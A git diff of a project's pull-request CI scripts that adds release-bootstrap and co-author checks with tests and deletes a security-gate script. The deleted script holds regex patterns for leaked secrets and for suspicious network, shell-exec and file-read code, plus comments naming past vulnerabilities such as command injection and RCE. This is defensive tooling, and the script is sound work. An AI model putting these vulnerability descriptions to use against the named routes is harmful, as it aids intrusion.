`doc/PUBLISHING.md`)'; + + if (reason === 'depended') { + return ( + `🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` + + `depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` + + `entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` + + 'No contributor action is needed for the bootstrap itself.' + ); + } + + return ( + `🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` + + `red: ${bootstrap}. No contributor action is needed for this.` + ); +} + +export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) { + const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps; + + const manifestChanged = files.some( + f => f.filename === MANIFEST_PATH && f.status !== 'removed' + ); + // A PR can hit the manifest edge validator without touching the manifest: + // adding a workspace:* dependency on an existing unpublished + // publishFromCi:false package. Patch parsing is free, so compute the added + // dependencies first and keep the zero-API fast path only for PRs that + // neither touch the manifest nor add a workspace dependency. + const dependedOn = addedWorkspaceDependencyNames(files); + if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] }; + + const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); + const [baseEntries, headEntries] = await Promise.all([ + fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef), + fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`), + ]); + + const basePublishFromCiByName = new Map( + baseEntries + .filter(e => e && typeof e.name === 'string') + .map(e => [e.name, e.publishFromCi === true]) + ); + + const candidates = []; + for (const entry of headEntries) { + if (!entry || typeof entry.name !== 'string') continue; + const name = entry.name; + if (!SCOPE_RE.test(name)) continue; + + const enabled = entry.publishFromCi === true; + const baseEnabled = basePublishFromCiByName.get(name); + + if (enabled && baseEnabled !== true) { + // Newly release-enabled (added as true, or flipped false -> true): the + // bootstrap gate itself will fail if the name is missing from npm. + candidates.push({ name, reason: 'enabled' }); + } else if (!enabled && dependedOn.has(name)) { + // Not release-enabled but this PR makes published packages depend on + // it: the manifest edge validator will fail if it stays unpublished. + candidates.push({ name, reason: 'depended' }); + } + } + + const informational = []; + for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) { + let exists; + try { + exists = await registryPackageExists(candidate.name); + } catch { + continue; // registry hiccup: stay quiet, the policy job is the enforcer + } + if (!exists) informational.push(buildNotice(candidate)); + } + + return { passed: true, informational }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs'); + process.exit(1); +} diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs deleted file mode 100644 index 2361b2bf364..00000000000 --- a/.github/scripts/check-pr-security.mjs +++ /dev/null @@ -1,393 +0,0 @@ -#!/usr/bin/env node -/** - * check-pr-security.mjs - * Runs 6 security checks against a PR diff. Never posts public comments. - * Creates a draft security advisory in the repo if any check fires. - * - * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR - * Exit: always 0 — security flags are silent, never block the PR visibly. - */ -import { fileURLToPath } from 'node:url'; -import { ghFetch } from './get-bot-token.mjs'; -import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs'; -import { resolveBaseRef } from './check-pr-dependencies.mjs'; - -// ── Pure check functions (exported for testing) ─────────────────────────────── - -const SECRET_PATTERNS = [ - { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ }, - { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ }, - { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ }, - { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ }, - { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i }, -]; - -export function scanSecrets(files) { - const flags = []; - for (const file of files) { - if (!file.patch) continue; - const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')); - for (const line of added) { - for (const { name, re } of SECRET_PATTERNS) { - if (re.test(line)) { - flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) }); - } - } - } - } - return flags; -} - -const CI_BUILD_SCRIPTS = [ - 'scripts/release.sh', - 'scripts/check-docker-deps-stage.mjs', - 'scripts/check-release-package-bootstrap.mjs', - 'scripts/release-package-map.mjs', - 'scripts/docker-onboard-smoke.sh', -]; - -export function scanCITampering(files) { - return files - .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed') - .map(f => ({ check: 'ci-tampering', file: f.filename })); -} - -export function scanBuildScripts(files) { - return files - .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed') - .map(f => ({ check: 'build-script-change', file: f.filename })); -} - -export function scanSupplyChain(files) { - const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml'); - if (!lockfile?.patch) return []; - - const added = new Set(); - const removed = new Set(); - - for (const line of lockfile.patch.split('\n')) { - const entry = parseLockfilePackageDiffEntry(line); - if (!entry) continue; - if (entry.sign === '+') added.add(entry.packageName); - if (entry.sign === '-') removed.add(entry.packageName); - } - - const netNew = [...added].filter(p => !removed.has(p)); - return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : []; -} - -function parseLockfilePackageDiffEntry(line) { - const match = line.match(/^([+-])\s*(.+?)\s*$/); - if (!match) return null; - - let [, sign, rawEntry] = match; - if (!rawEntry.endsWith(':')) return null; - - rawEntry = rawEntry.slice(0, -1).trim(); - if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) { - rawEntry = rawEntry.slice(1, -1); - } - rawEntry = rawEntry.replace(/\(.*$/, '').trim(); - - const versionSep = rawEntry.lastIndexOf('@'); - if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null; - - const packageName = rawEntry.slice(0, versionSep); - if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null; - - return { sign, packageName }; -} - -const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//; -const SUSPICIOUS_PATTERNS = [ - { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ }, - { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ }, - { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ }, - { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// }, -]; - -export function scanTestPatterns(files) { - const flags = []; - for (const file of files) { - if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue; - for (const { name, re } of SUSPICIOUS_PATTERNS) { - if (re.test(file.patch)) { - flags.push({ check: 'suspicious-test', file: file.filename, pattern: name }); - } - } - } - return flags; -} - -const SENSITIVE_PATHS = [ - // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes) - 'packages/adapters/codex-local/', - // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand - 'server/src/services/workspace-realization.ts', - 'server/src/routes/execution-workspaces.ts', - 'server/src/routes/workspace-command-authz.ts', - // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys - 'server/src/routes/agents.ts', - // Advisory 4: Approval decision attribution spoofing via decidedByUserId - 'server/src/routes/approvals.ts', - // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform) - 'ui/src/components/MarkdownBody.tsx', - // Advisory 7: Unauthenticated access to authenticated-mode endpoints - 'server/src/routes/authz.ts', - // Advisory 8: Unauthenticated RCE via import authorization bypass - 'server/src/routes/companies.ts', - // Advisory 9: Malicious skills able to exfiltrate / destroy user data - 'server/src/routes/company-skills.ts', - // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath - 'server/src/services/agent-instructions.ts', -]; - -export function scanSensitivePaths(files) { - return files - .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p))) - .map(f => ({ - check: 'sensitive-path', - file: f.filename, - advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)), - })); -} - -function buildContentsPath(repo, filename, ref) { - return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; -} - -export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) { - const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); - const stale = []; - await Promise.all(SENSITIVE_PATHS.map(async (path) => { - try { - await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token); - } catch (err) { - // 404 means the file/directory no longer exists at this path - if (String(err.message).includes('404')) stale.push(path); - // Other errors (network, rate limit) — re-throw so we don't silently miss them - else throw err; - } - })); - return stale; -} - -// ── Advisory creation ───────────────────────────────────────────────────────── - -const SEVERITY_MAP = { - 'supply-chain': 'critical', - 'sensitive-path': 'critical', - 'secret-scan': 'high', - 'ci-tampering': 'high', - 'suspicious-test': 'high', - 'build-script-change': 'medium', -}; - -const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical']; - -function worstSeverity(flags) { - return flags.reduce((worst, f) => { - const s = SEVERITY_MAP[f.check] ?? 'medium'; - return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst; - }, 'low'); -} - -export function buildAdvisoryPayload(prNumber, prTitle, flags) { - const checkNames = [...new Set(flags.map(f => f.check))].join(', '); - return { - summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`, - description: [ - `**PR:** #${prNumber} — ${prTitle}`, - `**Checks triggered:** ${checkNames}`, - '', - '**Details:**', - ...flags.map(f => [ - `- \`${f.check}\`: ${f.file ?? ''}`, - f.pattern ? ` (pattern: ${f.pattern})` : '', - f.packages ? ` (packages: ${f.packages.join(', ')})` : '', - f.line ? `\n \`${f.line}\`` : '', - ].join('')), - '', - '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.', - ].join('\n'), - severity: worstSeverity(flags), - vulnerabilities: [], - }; -} - -export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) { - const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber); - const payload = buildAdvisoryPayload(prNumber, prTitle, flags); - - if (existing) { - const advisoryId = existing.ghsa_id ?? existing.id; - if (!advisoryId) { - throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`); - } - - // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability"). - // The field is only valid on POST when creating the draft; updates must omit it. - const { vulnerabilities, ...patchPayload } = payload; - - return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, { - method: 'PATCH', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(patchPayload), - }); - } - - return fetchImpl(`/repos/${repo}/security-advisories`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(payload), - }); -} - -// Cap pagination so a large backlog of unrelated draft advisories cannot stall -// the security gate (it runs inside a 5-minute workflow timeout). -const MAX_DRAFT_ADVISORY_PAGES = 20; - -export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) { - const prMarker = `PR #${prNumber}`; - - for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) { - const advisories = await fetchImpl( - `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`, - token, - ); - - if (!Array.isArray(advisories) || advisories.length === 0) return null; - - const existing = advisories.find(advisory => - typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker) - ); - if (existing) return existing; - - if (advisories.length < 100) return null; - } - - console.warn( - `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` + - 'treating as new advisory. A duplicate draft may be created.', - ); - return null; -} - -export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) { - await fetchImpl(`/repos/${repo}/check-runs`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(hasFlags ? { - name: 'security-review', - head_sha: headSha, - // `completed/neutral` instead of `in_progress` so the check doesn't put - // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the - // durable signal for maintainers; there is no completion path that - // could ever flip an `in_progress` check-run back to completed on the - // same head SHA, so it would hang forever. - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - } : { - name: 'security-review', - head_sha: headSha, - status: 'completed', - conclusion: 'success', - output: { - title: 'Security Review Passed', - summary: 'No security concerns detected.', - }, - }), - }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -// Wall-clock budget for the whole script. The workflow job has a 5-minute -// timeout-minutes, and `continue-on-error: true` on a step does NOT override -// a job-level timeout — it only suppresses step failures. So if any API call -// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled, -// failing the `review` check. This watchdog enforces the script's documented -// "always exit 0" contract regardless of API behaviour. -export const SCRIPT_WATCHDOG_MS = 90_000; - -export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) { - const timer = setTimeout(() => { - console.warn( - `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract` - ); - exit(0); - }, timeoutMs); - // Don't keep the event loop alive solely for the watchdog. - timer.unref?.(); - return timer; -} - -async function main() { - const watchdog = startScriptWatchdog(); - - const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env; - - if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) { - console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required'); - process.exit(1); - } - - // Sanitize inputs before use in URL construction (prevents SSRF) - const prNumber = parseInt(PR_NUMBER, 10); - if (!Number.isInteger(prNumber) || prNumber <= 0) { - console.error('ERROR: PR_NUMBER must be a positive integer'); - process.exit(1); - } - if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) { - console.error('ERROR: GH_REPO must be in owner/repo format'); - process.exit(1); - } - - // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch - const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber); - if (stalePaths.length > 0) { - console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:'); - for (const p of stalePaths) console.error(` - ${p}`); - console.error(''); - console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.'); - console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.'); - process.exit(1); - } - - const [pr, files] = await Promise.all([ - ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN), - fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), - ]); - - const allFlags = [ - ...scanSecrets(files), - ...scanCITampering(files), - ...scanBuildScripts(files), - ...scanSupplyChain(files), - ...scanTestPatterns(files), - ...scanSensitivePaths(files), - ]; - - if (allFlags.length > 0) { - console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`); - await Promise.all([ - syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags), - postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true), - ]); - } else { - console.log('[security] all clear'); - await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false); - } - - // Always exit 0 — security flags are silent, never block the PR publicly - clearTimeout(watchdog); - process.exit(0); -} - -if (process.argv[1] === fileURLToPath(import.meta.url)) { - main().catch(e => { console.error(e.message); process.exit(1); }); -} diff --git a/.github/scripts/run-quality-gates.mjs b/.github/scripts/run-quality-gates.mjs index a99786fbf24..31a1a12a006 100644 --- a/.github/scripts/run-quality-gates.mjs +++ b/.github/scripts/run-quality-gates.mjs @@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs'; import { checkTestCoverage } from './check-pr-test-coverage.mjs'; import { checkLockfile } from './check-pr-lockfile.mjs'; import { checkDependencies } from './check-pr-dependencies.mjs'; +import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs'; +import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs'; const COMMENT_SIGNATURE = '— commitperclip'; @@ -105,13 +107,24 @@ async function main() { fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), ]); + // Separate, and allowed to fail. The co-author note is informational: it + // cannot fail a PR by design, so it must not be able to fail the workflow by + // accident either. Sharing the Promise.all above would let one transient + // 5xx on this request take down every gate, including the ones that block. + let commits = []; + try { + commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN); + } catch (error) { + console.error(`co-author lookup skipped: ${error.message}`); + } + const prBody = pr.body ?? ''; const author = PR_AUTHOR ?? pr.user.login; const branch = PR_BRANCH ?? pr.head.ref; // Run all quality gates (pure functions run sync, deps check is async) const prTitle = pr.title ?? ''; - const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] = + const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] = await Promise.all([ Promise.resolve(checkTemplate(prBody)), Promise.resolve(checkLinkedIssue(prBody, prTitle)), @@ -119,7 +132,9 @@ async function main() { Promise.resolve(checkTestCoverage(files, prTitle)), Promise.resolve(checkLockfile(files, author, branch)), checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), + checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), ]); + const coauthorResult = checkCoauthors(commits, author); const allFailures = [ ...templateResult.failures, @@ -128,7 +143,11 @@ async function main() { ...testResult.failures, ...lockfileResult.failures, ]; - const informational = depsResult.informational ?? []; + const informational = [ + ...(depsResult.informational ?? []), + ...(bootstrapResult.informational ?? []), + ...coauthorResult.informational, + ]; const allPassed = allFailures.length === 0; const commentBody = buildComment(author, allFailures, informational); diff --git a/.github/scripts/tests/check-pr-coauthors.test.mjs b/.github/scripts/tests/check-pr-coauthors.test.mjs new file mode 100644 index 00000000000..8f339532388 --- /dev/null +++ b/.github/scripts/tests/check-pr-coauthors.test.mjs @@ -0,0 +1,179 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs'; + +function commit(login, name = null, email = null) { + return { + author: login ? { login } : null, + commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } }, + }; +} + +test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => { + const result = checkCoauthors( + [commit('tonio-alucema'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.passed, true); + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => { + // The case this exists for: a stale contributor PR rebased and landed by a + // maintainer. Squash-merging drops the contributor unless the squash body + // carries their trailer. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match( + result.informational[0], + /Co-Authored-By: Jannes Stubbemann / + ); +}); + +test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => { + // Informational only. The author of the PR cannot satisfy this from the PR, + // so failing here would block work on something unfixable at that point. + const result = checkCoauthors([commit('stubbi')], 'tonio-alucema'); + + assert.equal(result.passed, true); +}); + +test('checkCoauthors: matches the PR author case-insensitively', () => { + // GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive + // in the same case as the commit author login. + const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema'); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: ignores bots', () => { + const result = checkCoauthors( + [commit('github-actions[bot]'), commit('dependabot[bot]')], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: lists each contributor once, however many commits they wrote', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); + +test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => { + // A commit authored with an email GitHub cannot resolve still deserves a + // trailer — that is precisely the identity most likely to be lost. + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace /); +}); + +test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => { + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Nameless', email: null } } }], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: names the count rather than everyone when several contributed', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /2 other contributors/); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match(result.informational[0], /LJ/); +}); + +test('checkCoauthors: tolerates a PR with no commits', () => { + assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []); + assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []); +}); + +test('fetchAllPullRequestCommits: pages until a short batch', async () => { + const seen = []; + const commits = await fetchAllPullRequestCommits(async (path) => { + seen.push(path); + if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi')); + return [commit('tonio-alucema')]; + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(commits.length, 101); + assert.equal(seen.length, 2); +}); + +test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => { + // `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing + // new past that. A branch that large is not what this gate is about, but it + // must not spin. + let calls = 0; + const commits = await fetchAllPullRequestCommits(async () => { + calls += 1; + return Array.from({ length: 100 }, () => commit('stubbi')); + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(calls, 3); + assert.equal(commits.length, 300); +}); + +test('checkCoauthors: counts one person once when their git name varies across commits', () => { + // People change their git config. Keying the dedup on the rendered trailer + // would put two lines for the same contributor into the squash body. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); + assert.doesNotMatch(result.informational[0], /other contributors/); +}); + +test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => { + // Their own commit, authored with an email GitHub could not match to the + // account. Without the guard they appear in their own trailer list. + const byName = checkCoauthors( + [{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }], + 'tonio-alucema' + ); + const byEmail = checkCoauthors( + [{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }], + 'tonio-alucema' + ); + + assert.deepEqual(byName.informational, []); + assert.deepEqual(byEmail.informational, []); +}); + +test('checkCoauthors: counts one person once when some commits matched their account and some did not', () => { + // The mixed case: GitHub resolved one commit to the login and left another + // unmatched, both carrying the same email. Keying on login alone emits two + // trailers for one contributor. + const result = checkCoauthors( + [ + commit('stubbi', 'Jannes Stubbemann', 'jannes@example.com'), + { author: null, commit: { author: { name: 'Jannes Stubbemann', email: 'jannes@example.com' } } }, + ], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); diff --git a/.github/scripts/tests/check-pr-linked-issue.test.mjs b/.github/scripts/tests/check-pr-linked-issue.test.mjs index 4f6d1a63e16..f081ed9664f 100644 --- a/.github/scripts/tests/check-pr-linked-issue.test.mjs +++ b/.github/scripts/tests/check-pr-linked-issue.test.mjs @@ -1,5 +1,7 @@ import { test } from 'node:test'; import assert from 'node:assert/strict'; +import { readFileSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; import { checkLinkedIssue, hasInlineIssueDescription } from '../check-pr-linked-issue.mjs'; // Existing tests with title parameter added (defaults to no prefix, so still required) @@ -221,3 +223,184 @@ None. `; assert.equal(hasInlineIssueDescription(body), true); }); + +// Prose-only description (no template labels) must fail. A good paragraph of +// prose matches zero labels, so the gate rejects it. +test('fails with a prose-only description that has no template labels', () => { + const body = ` +This pull request rewrites the retry loop so the worker gives up after five +attempts instead of looping forever. The previous loop could hang a job when +the upstream service was down. I also added a log line for each retry so an +operator can see the backoff in the run output. +`; + const result = checkLinkedIssue(body, 'feat: bounded retry'); + assert.equal(result.passed, false); + assert.ok(result.failures.length > 0); +}); + +// An author who copies the feature template labels into the PR body must pass. +// The labels use the bold-label-on-its-own-line form the gate accepts. +const FEATURE_BOLD_LABEL_BODY = ` +**Problem or motivation:** +- The gate rejects a good prose description. + +**Proposed solution:** +- Copy the feature template labels into the PR body. + +**Alternatives considered:** +- Lower the field threshold — rejected, it weakens the gate. +`; + +test('passes with the feature template labels (bold labels)', () => { + assert.equal(checkLinkedIssue(FEATURE_BOLD_LABEL_BODY, 'feat: inline feature description').passed, true); +}); + +// Enhancement template set (matches .github/ISSUE_TEMPLATE/enhancement.yml). +const ENHANCEMENT_INLINE_BODY = ` +## What existing behavior does this improve? + +The board task list sort order. + +## Current behavior + +The list sorts by creation time only. + +## Proposed behavior + +The list sorts by priority, then creation time. + +## Reason and benefit + +Users miss high-priority tasks that were created early. +`; + +test('passes with inline enhancement description (4 template fields)', () => { + assert.equal(checkLinkedIssue(ENHANCEMENT_INLINE_BODY, 'feat: sort by priority').passed, true); +}); + +test('hasInlineIssueDescription returns true for ≥3 enhancement fields', () => { + assert.equal(hasInlineIssueDescription(ENHANCEMENT_INLINE_BODY), true); +}); + +// Empty default skeleton must fail. A label with only the bare "-" placeholder +// under it is not filled, so it must not count toward the field minimum. +const EMPTY_SKELETON_BODY = ` +**What happened?** +- + +**Expected behavior:** +- + +**Steps to reproduce:** +- +`; + +test('fails with an empty template skeleton (labels but no content)', () => { + const result = checkLinkedIssue(EMPTY_SKELETON_BODY, 'feat: something'); + assert.equal(result.passed, false); + assert.ok(result.failures.length > 0); +}); + +test('hasInlineIssueDescription returns false for an empty skeleton', () => { + assert.equal(hasInlineIssueDescription(EMPTY_SKELETON_BODY), false); +}); + +// A filled bug skeleton in the bold-label form must pass, even with list-marker +// content. This proves the fix does not reject real author content. +const FILLED_BUG_SKELETON_BODY = ` +**What happened?** +- The login button does nothing. + +**Expected behavior:** +- The login button authenticates the user. + +**Steps to reproduce:** +- Open the app, then click login. +`; + +test('passes with a filled bug skeleton (three filled fields)', () => { + assert.equal(checkLinkedIssue(FILLED_BUG_SKELETON_BODY, 'feat: fix login').passed, true); +}); + +// Stacked plain labels with no content must fail. Each label sits on its own +// line with the next label directly under it. The scan must treat the next +// label as a field boundary, not as content, so every field stays empty. +const STACKED_FEATURE_LABELS = ` +Problem or motivation: +Proposed solution: +Alternatives considered: +Roadmap alignment: +`; + +const STACKED_BUG_LABELS = ` +What happened?: +Expected behavior: +Steps to reproduce: +Paperclip version: +`; + +const STACKED_ENHANCEMENT_LABELS = ` +What existing behavior does this improve? +Subsystem affected +Current behavior +Proposed behavior +Reason and benefit +`; + +const STACKED_DOCS_LABELS = ` +Issue type +Where is the issue? +What's wrong? +Suggested fix +`; + +test('fails with stacked plain feature labels and no content', () => { + assert.equal(checkLinkedIssue(STACKED_FEATURE_LABELS, 'feat: x').passed, false); +}); + +test('fails with stacked plain bug labels and no content', () => { + assert.equal(checkLinkedIssue(STACKED_BUG_LABELS, 'feat: x').passed, false); +}); + +test('fails with stacked plain enhancement labels and no content', () => { + assert.equal(checkLinkedIssue(STACKED_ENHANCEMENT_LABELS, 'feat: x').passed, false); +}); + +test('fails with stacked plain docs labels and no content', () => { + assert.equal(checkLinkedIssue(STACKED_DOCS_LABELS, 'feat: x').passed, false); +}); + +// A plain-label skeleton with real content under each label must still pass. +// The boundary fix must not reject a field that has genuine content. +const FILLED_PLAIN_FEATURE_LABELS = ` +Problem or motivation: +- The gate rejects a good prose description. +Proposed solution: +- Copy the feature template labels into the PR body. +Alternatives considered: +- Lower the field threshold — rejected, it weakens the gate. +`; + +test('passes with plain feature labels and real content under each', () => { + assert.equal(checkLinkedIssue(FILLED_PLAIN_FEATURE_LABELS, 'feat: inline feature').passed, true); +}); + +// The real .github/PULL_REQUEST_TEMPLATE.md, submitted unchanged, must fail the +// gate. Its skeleton labels have no content and its example issue links live in +// HTML comments, so neither the inline path nor the linked path may pass it. +const PR_TEMPLATE_PATH = fileURLToPath( + new URL('../../PULL_REQUEST_TEMPLATE.md', import.meta.url) +); + +test('fails with the unfilled default PR template body', () => { + const body = readFileSync(PR_TEMPLATE_PATH, 'utf8'); + const result = checkLinkedIssue(body, 'feat: unfilled template'); + assert.equal(result.passed, false); +}); + +// An issue link that appears only inside an HTML comment must not satisfy the +// linked-issue check. The template ships such an example ("Fixes: #123"). +test('fails when the only issue link is inside an HTML comment', () => { + const body = '\n\nSome prose with no real link.'; + assert.equal(checkLinkedIssue(body, 'feat: commented link').passed, false); +}); diff --git a/.github/scripts/tests/check-pr-release-bootstrap.test.mjs b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs new file mode 100644 index 00000000000..ad631c61ffe --- /dev/null +++ b/.github/scripts/tests/check-pr-release-bootstrap.test.mjs @@ -0,0 +1,265 @@ +import { test } from 